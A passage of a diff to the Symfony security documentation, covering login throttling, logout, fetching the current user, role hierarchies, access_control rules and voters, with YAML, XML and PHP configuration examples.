+                        <framework:rate interval="5 minutes"/>
+                    </framework:limiter>
+
+                    <framework:limiter name="ip_login"
+                        policy="sliding_window"
+                        limit="50"
+                        interval="15 minutes"
+                    />
+                </framework:rate-limiter>
+            </framework:config>
+
+            <srv:services>
+                <!-- our custom login rate limiter -->
+                <srv:service id="app.login_rate_limiter"
+                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
+                >
+                    <!-- 1st argument is the limiter for IP -->
+                    <srv:argument type="service" id="limiter.ip_login"/>
+                    <!-- 2nd argument is the limiter for username+IP -->
+                    <srv:argument type="service" id="limiter.username_ip_login"/>
+                </srv:service>
+            </srv:services>
+
+            <config>
+                <firewall name="main">
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+            $framework->rateLimiter()
+                ->limiter('username_ip_login')
+                    ->policy('token_bucket')
+                    ->limit(5)
+                    ->rate()
+                        ->interval('5 minutes')
+            ;
+
+            $framework->rateLimiter()
+                ->limiter('ip_login')
+                    ->policy('sliding_window')
+                    ->limit(50)
+                    ->interval('15 minutes')
+            ;
+
+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+                ->setArguments([
+                    // 1st argument is the limiter for IP
+                    new Reference('limiter.ip_login'),
+                    // 2nd argument is the limiter for username+IP
+                    new Reference('limiter.username_ip_login'),
+                ]);
+
+            $security->firewall('main')
+                ->loginThrottling()
+                    ->limiter('app.login_rate_limiter')
+            ;
+        };
+
+.. _security-logging-out:
+
+Logging Out
+-----------
+
+To enable logging out, activate the  ``logout`` config parameter under your firewall:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        path: app_logout
+
+                        # where to redirect after logout
+                        # target: app_any_route
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="app_logout"/>
+
+                    <!-- use "target" to configure where to redirect after logout
+                    <logout path="app_logout" target="app_any_route"/>
+                    -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            // ...
+            $mainFirewall->logout()
+                ->path('app_logout')
+
+                // where to redirect after logout
+                // ->target('app_any_route')
+            ;
+        };
+
+Next, you need to create a route for this URL (but not a controller):
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            /**
+             * @Route("/logout", name="app_logout", methods={"GET"})
+             */
+            public function logout(): void
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            public function logout()
+            {
+                // controller can be blank: it will never be called!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        app_logout:
+            path: /logout
+            methods: GET
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="app_logout" path="/logout" methods="GET"/>
+        </routes>
+
+    ..  code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->add('app_logout', '/logout')
+                ->methods(['GET'])
+            ;
+        };
+
+That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
+Symfony will un-authenticate the current user and redirect them.
+
+Customizing Logout
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
+    version, you had to use a
+    :ref:`logout success handler <reference-security-logout-success-handler>`
+    to customize the logout.
+
+In some cases you need to run extra logic upon logout (e.g. invalidate
+some tokens) or want to customize what happens after a logout. During
+logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
+to run custom logic. The following information is available in the
+event class:
+
+``getToken()``
+    Returns the security token of the session that is about to be logged
+    out.
+``getRequest()``
+    Returns the current request.
+``getResponse()``
+    Returns a response, if it is already set by a custom listener. Use
+    ``setResponse()`` to configure a custom logout response.
+
+.. tip::
+
+    Every Security firewall has its own event dispatcher
+    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
+    dispatched on both the global and firewall dispatcher. You can register
+    on the firewall dispatcher if you want your listener to only be
+    called for a specific firewall. For instance, if you have an ``api``
+    and ``main`` firewall, use this configuration to register only on the
+    logout event in the ``main`` firewall:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\EventListener\CustomLogoutSubscriber:
+                    tags:
+                        - name: kernel.event_subscriber
+                          dispatcher: security.event_dispatcher.main
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <!-- ... -->
+
+                    <service id="App\EventListener\CustomLogoutSubscriber">
+                        <tag name="kernel.event_subscriber"
+                             dispacher="security.event_dispatcher.main"
+                         />
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use App\EventListener\CustomLogoutListener;
+            use App\EventListener\CustomLogoutSubscriber;
+            use Symfony\Component\Security\Http\Event\LogoutEvent;
+
+            return function(ContainerConfigurator $configurator) {
+                $services = $configurator->services();
+
+                $services->set(CustomLogoutSubscriber::class)
+                    ->tag('kernel.event_subscriber', [
+                        'dispatcher' => 'security.event_dispatcher.main',
+                    ]);
+            };
+
+.. _retrieving-the-user-object:
+
+Fetching the User Object
+------------------------
+
+After authentication, the ``User`` object of the current user can be
+accessed via the ``getUser()`` shortcut in the
+:ref:`base controller <the-base-controller-class-services>`::
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+
+    class ProfileController extends AbstractController
+    {
+        public function index(): Response
+        {
+            // usually you'll want to make sure the user is authenticated first,
+            // see "Authorization" below
+            $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+            // returns your User object, or null if the user is not authenticated
+            // use inline documentation to tell your editor your exact User class
+            /** @var \App\Entity\User $user */
+            $user = $this->getUser();
+
+            // Call whatever methods you've added to your User class
+            // For example, if you added a getFirstName() method, you can use that.
+            return new Response('Well hi there '.$user->getFirstName());
+        }
+    }
+
+Fetching the User from a Service
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to get the logged in user from a service, use the
+:class:`Symfony\\Component\\Security\\Core\\Security` service::
+
+    // src/Service/ExampleService.php
+    // ...
+
+    use Symfony\Component\Security\Core\Security;
+
+    class ExampleService
+    {
+        private $security;
+
+        public function __construct(Security $security)
+        {
+            // Avoid calling getUser() in the constructor: auth may not
+            // be complete yet. Instead, store the entire Security object.
+            $this->security = $security;
+        }
+
+        public function someMethod()
+        {
+            // returns User object or null if not authenticated
+            $user = $this->security->getUser();
+
+            // ...
+        }
+    }
+
+Fetch the User in a Template
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In a Twig Template the user object is available via the ``app.user`` variable
+thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+
+.. code-block:: html+twig
+
+    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
+        <p>Email: {{ app.user.email }}</p>
+    {% endif %}
+
+.. _denying-access-roles-and-other-authorization:
+.. _security-access-control:
+
+Access Control (Authorization)
+------------------------------
+
+Users can now log in to your app using your login form. Great! Now, you need to learn
+how to deny access and work with the User object. This is called **authorization**,
+and its job is to decide if a user can access some resource (a URL, a model object,
+a method call, ...).
+
+The process of authorization has two different sides:
+
+#. The user receives a specific role when logging in (e.g. ``ROLE_ADMIN``).
+#. You add code so that a resource (e.g. URL, controller) requires a specific
+   "attribute" (e.g. a role like ``ROLE_ADMIN``) in order to be accessed.
+
+Roles
+~~~~~
+
+When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
+object to determine which roles this user has. In the ``User`` class that
+was generated earlier, the roles are an array that's stored in the
+database and every user is *always* given at least one role: ``ROLE_USER``::
+
+    // src/Entity/User.php
+
+    // ...
+    class User
+    {
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
+
+        // ...
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
+
+            return array_unique($roles);
+        }
+    }
+
+This is a nice default, but you can do *whatever* you want to determine which roles
+a user should have. Here are a few guidelines:
+
+* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
+
+* Other than the above rule, a role is just a string and you can invent what you
+  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+
+You'll use these roles next to grant access to specific sections of your site.
+
+.. _security-role-hierarchy:
+
+Hierarchical Roles
+..................
+
+Instead of giving many roles to each user, you can define role inheritance
+rules by creating a role hierarchy:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            role_hierarchy:
+                ROLE_ADMIN:       ROLE_USER
+                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <role id="ROLE_ADMIN">ROLE_USER</role>
+                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
+            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+        };
+
+Users with the ``ROLE_ADMIN`` role will also have the ``ROLE_USER`` role.
+Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
+``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
+``ROLE_ADMIN``).
+
+.. caution::
+
+    For role hierarchy to work, do not use ``$user->getRoles()`` manually.
+    For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+
+        // BAD - $user->getRoles() will not know about the role hierarchy
+        $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+
+        // GOOD - use of the normal security methods
+        $hasAccess = $this->isGranted('ROLE_ADMIN');
+        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+
+.. note::
+
+    The ``role_hierarchy`` values are static - you can't, for example, store the
+    role hierarchy in a database. If you need that, create a custom
+    :doc:`security voter </security/voters>` that looks for the user roles
+    in the database.
+
+.. _security-role-authorization:
+
+Add Code to Deny Access
+~~~~~~~~~~~~~~~~~~~~~~~
+
+There are **two** ways to deny access to something:
+
+#. :ref:`access_control in security.yaml <security-authorization-access-control>`
+   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
+
+#. :ref:`in your controller (or other code) <security-securing-controller>`.
+
+.. _security-authorization-access-control:
+
+Securing URL patterns (access_control)
+......................................
+
+The most basic way to secure part of your app is to secure an entire URL pattern
+in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
+start with ``/admin``, you can:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                # ...
+                main:
+                    # ...
+
+            access_control:
+                # require ROLE_ADMIN for /admin*
+                - { path: '^/admin', roles: ROLE_ADMIN }
+
+                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+
+                # the 'path' value can be any valid regular expression
+                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
+                - { path: ^/api/(post|comment)/\d+$, roles: ROLE_USER }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                </firewall>
+
+                <!-- require ROLE_ADMIN for /admin* -->
+                <rule path="^/admin" role="ROLE_ADMIN"/>
+
+                <!-- require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* -->
+                <rule path="^/admin">
+                    <role>ROLE_ADMIN</role>
+                    <role>IS_AUTHENTICATED_FULLY</role>
+                </rule>
+
+                <!-- the 'path' value can be any valid regular expression
+                     (this one will match URLs like /api/post/7298 and /api/comment/528491) -->
+                <rule path="^/api/(post|comment)/\d+$" role="ROLE_USER"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            // ...
+            $security->firewall('main')
+            // ...
+            ;
+
+            // require ROLE_ADMIN for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+
+            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+
+            // the 'path' value can be any valid regular expression
+            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
+            $security->accessControl()
+                ->path('^/api/(post|comment)/\d+$')
+                ->roles(['ROLE_USER']);
+        };
+
+You can define as many URL patterns as you need - each is a regular expression.
+**BUT**, only **one** will be matched per request: Symfony starts at the top of
+the list and stops when it finds the first match:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            access_control:
+                # matches /admin/users/*
+                - { path: '^/admin/users', roles: ROLE_SUPER_ADMIN }
+
+                # matches /admin/* except for anything matching the above rule
+                - { path: '^/admin', roles: ROLE_ADMIN }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <rule path="^/admin/users" role="ROLE_SUPER_ADMIN"/>
+                <rule path="^/admin" role="ROLE_ADMIN"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $security->accessControl()
+                ->path('^/admin/users')
+                ->roles(['ROLE_SUPER_ADMIN']);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+        };
+
+Prepending the path with ``^`` means that only URLs *beginning* with the
+pattern are matched. For example, a path of ``/admin`` (without the ``^``)
+would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
+
+Each ``access_control`` can also match on IP address, hostname and HTTP methods.
+It can also be used to redirect a user to the ``https`` version of a URL pattern.
+See :doc:`/security/access_control`.
+
+.. _security-securing-controller:
+
+Securing Controllers and other Code
+...................................
+
+You can deny access from inside a controller::
+
+    // src/Controller/AdminController.php
+    // ...
+
+    public function adminDashboard(): Response
+    {
+        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+
+        // or add an optional message - seen by developers
+        $this->denyAccessUnlessGranted('ROLE_ADMIN', null, 'User tried to access a page without having ROLE_ADMIN');
+    }
+
+That's it! If access is not granted, a special
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+is thrown and no more code in your controller is called. Then, one of two things
+will happen:
+
+1) If the user isn't logged in yet, they will be asked to log in (e.g. redirected
+   to the login page).
 
-        // config/routes.php
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+2) If the user *is* logged in, but does *not* have the ``ROLE_ADMIN`` role, they'll
+   be shown the 403 access denied page (which you can
+   :ref:`customize <controller-error-pages-by-status-code>`).
 
-        return function (RoutingConfigurator $routes) {
-            $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
-            ;
-        };
+.. _security-securing-controller-annotations:
 
-And that's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
-Symfony will un-authenticate the current user and redirect them.
+Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
+using annotations:
 
-Customizing Logout
-~~~~~~~~~~~~~~~~~~
+.. code-block:: diff
 
-.. versionadded:: 5.1
+      // src/Controller/AdminController.php
+      // ...
 
-    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
-    version, you had to use a
-    :ref:`logout success handler <reference-security-logout-success-handler>`
-    to customize the logout.
+    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
-In some cases you need to execute extra logic upon logout (e.g. invalidate
-some tokens) or want to customize what happens after a logout. During
-logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
-to execute custom logic. The following information is available in the
-event class:
+    + /**
+    +  * Require ROLE_ADMIN for *every* controller method in this class.
+    +  *
+    +  * @IsGranted("ROLE_ADMIN")
+    +  */
+      class AdminController extends AbstractController
+      {
+    +     /**
+    +      * Require ROLE_ADMIN for only this controller method.
+    +      *
+    +      * @IsGranted("ROLE_ADMIN")
+    +      */
+          public function adminDashboard(): Response
+          {
+              // ...
+          }
+      }
 
-``getToken()``
-    Returns the security token of the session that is about to be logged
-    out.
-``getRequest()``
-    Returns the current request.
-``getResponse()``
-    Returns a response, if it is already set by a custom listener. Use
-    ``setResponse()`` to configure a custom logout response.
+For more information, see the `FrameworkExtraBundle documentation`_.
 
+.. _security-template:
 
-.. tip::
+Access Control in Templates
+...........................
 
-    Every Security firewall has its own event dispatcher
-    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
-    dispatched on both the global and firewall dispatcher. You can register
-    on the firewall dispatcher if you want your listener to only be
-    executed for a specific firewall. For instance, if you have an ``api``
-    and ``main`` firewall, use this configuration to register only on the
-    logout event in the ``main`` firewall:
+If you want to check if the current user has a certain role, you can use
+the built-in ``is_granted()`` helper function in any Twig template:
 
-    .. configuration-block::
+.. code-block:: html+twig
 
-        .. code-block:: yaml
+    {% if is_granted('ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
 
-            # config/services.yaml
-            services:
-                # ...
+.. _security-isgranted:
 
-                App\EventListener\CustomLogoutSubscriber:
-                    tags:
-                        - name: kernel.event_subscriber
-                          dispatcher: security.event_dispatcher.main
+Securing other Services
+.......................
 
-        .. code-block:: xml
+You can check access *anywhere* in your code by injecting the ``Security``
+service. For example, suppose you have a ``SalesReportManager`` service and you
+want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
 
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+.. code-block:: diff
 
-                <services>
-                    <!-- ... -->
+      // src/SalesReport/SalesReportManager.php
 
-                    <service id="App\EventListener\CustomLogoutSubscriber">
-                        <tag name="kernel.event_subscriber"
-                             dispacher="security.event_dispatcher.main"
-                         />
-                    </service>
-                </services>
-            </container>
+      // ...
+      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+    + use Symfony\Component\Security\Core\Security;
 
-        .. code-block:: php
+      class SalesReportManager
+      {
+    +     private $security;
 
-            // config/services.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+    +     public function __construct(Security $security)
+    +     {
+    +         $this->security = $security;
+    +     }
 
-            use App\EventListener\CustomLogoutListener;
-            use App\EventListener\CustomLogoutSubscriber;
-            use Symfony\Component\Security\Http\Event\LogoutEvent;
+          public function generateReport()
+          {
+              $salesData = [];
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
+    +             $salesData['top_secret_numbers'] = rand();
+    +         }
 
-                $services->set(CustomLogoutSubscriber::class)
-                    ->tag('kernel.event_subscriber', [
-                        'dispatcher' => 'security.event_dispatcher.main',
-                    ]);
-            };
+              // ...
+          }
 
-.. _security-role-hierarchy:
+          // ...
+      }
 
-Hierarchical Roles
-------------------
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+Symfony will automatically pass the ``security.helper`` to your service
+thanks to autowiring and the ``Security`` type-hint.
 
-Instead of giving many roles to each user, you can define role inheritance
-rules by creating a role hierarchy:
+You can also use a lower-level
+:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
+service. It does the same thing as ``Security``, but allows you to type-hint a
+more-specific interface.
+
+Allowing Unsecured Access (i.e. Anonymous Users)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a visitor isn't yet logged in to your website, they are treated as
+"unauthenticated" and don't have any roles. This will block them from
+visiting your pages if you defined an ``access_control`` rule.
+
+In the ``access_control`` configuration, you can use the ``PUBLIC_ACCESS``
+security attribute to exclude some routes for unauthenticated access (e.g.
+the login page):
 
 .. configuration-block::
 
@@ -1402,16 +2335,20 @@ rules by creating a role hierarchy:
 
         # config/packages/security.yaml
         security:
+            enable_authenticator_manager: true
+
             # ...
+            access_control:
+                # allow unauthenticated users to access the login form
+                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
 
-            role_hierarchy:
-                ROLE_ADMIN:       ROLE_USER
-                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
+                # but require authentication for all other admin routes
+                - { path: ^/admin, roles: ROLE_ADMIN }
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8"?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -1420,56 +2357,232 @@ rules by creating a role hierarchy:
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config>
+            <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <role id="ROLE_ADMIN">ROLE_USER</role>
-                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
+                <access-control>
+                    <!-- allow unauthenticated users to access the login form -->
+                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
+
+                    <!-- but require authentication for all other admin routes -->
+                    <rule path="^/admin" role="ROLE_ADMIN"/>
+                </access-control>
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
-            // ...
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
-            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+            // allow unauthenticated users to access the login form
+            $security->accessControl()
+                ->path('^/admin/login')
+                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
+            ;
+
+            // but require authentication for all other admin routes
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN'])
+            ;
         };
 
-Users with the ``ROLE_ADMIN`` role will also have the
-``ROLE_USER`` role. And users with ``ROLE_SUPER_ADMIN``, will automatically have
-``ROLE_ADMIN``, ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from ``ROLE_ADMIN``).
+Granting Anonymous Users Access in a Custom Voter
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-For role hierarchy to work, do not try to call ``$user->getRoles()`` manually.
-For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+.. versionadded:: 5.2
 
-    // BAD - $user->getRoles() will not know about the role hierarchy
-    $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+    The ``NullToken`` class was introduced in Symfony 5.2.
 
-    // GOOD - use of the normal security methods
-    $hasAccess = $this->isGranted('ROLE_ADMIN');
-    $this->denyAccessUnlessGranted('ROLE_ADMIN');
+If you're using a :doc:`custom voter </security/voters>`, you can allow
+anonymous users access by checking if there is no user set on the token::
 
-.. note::
+    // src/Security/PostVoter.php
+    namespace App\Security;
 
-    The ``role_hierarchy`` values are static - you can't, for example, store the
-    role hierarchy in a database. If you need that, create a custom
-    :doc:`security voter </security/voters>` that looks for the user roles
-    in the database.
+    // ...
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authentication\User\UserInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+
+    class PostVoter extends Voter
+    {
+        // ...
+
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        {
+            // ...
+
+            if (!$token->getUser() instanceof UserInterface) {
+                // the user is not authenticated, e.g. only allow them to
+                // see public posts
+                return $subject->isPublic();
+            }
+        }
+    }
+
+Setting Individual User Permissions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Most applications require more specific access rules. For instance, a user
+should be able to only edit their *own* comments on a blog. Voters allow you
+to write *whatever* business logic you need to determine access. Using
+these voters is similar to the role-based access checks implemented in the
+previous chapters. Read :doc:`/security/voters` to learn how to implement
+your own voter.
+
+Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you *only* want to check if a user is logged in (you don't care about roles),
+you have two options. First, if you've given *every* user ``ROLE_USER``, you can
+check for that role. Otherwise, you can use a special "attribute" in place of a
+role::
+
+    // ...
+
+    public function adminDashboard(): Response
+    {
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+        // ...
+    }
+
+You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
+``access_control`` or in Twig.
+
+``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
+user that has logged in will have this. Actually, there are some special attributes
+like this:
+
+* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
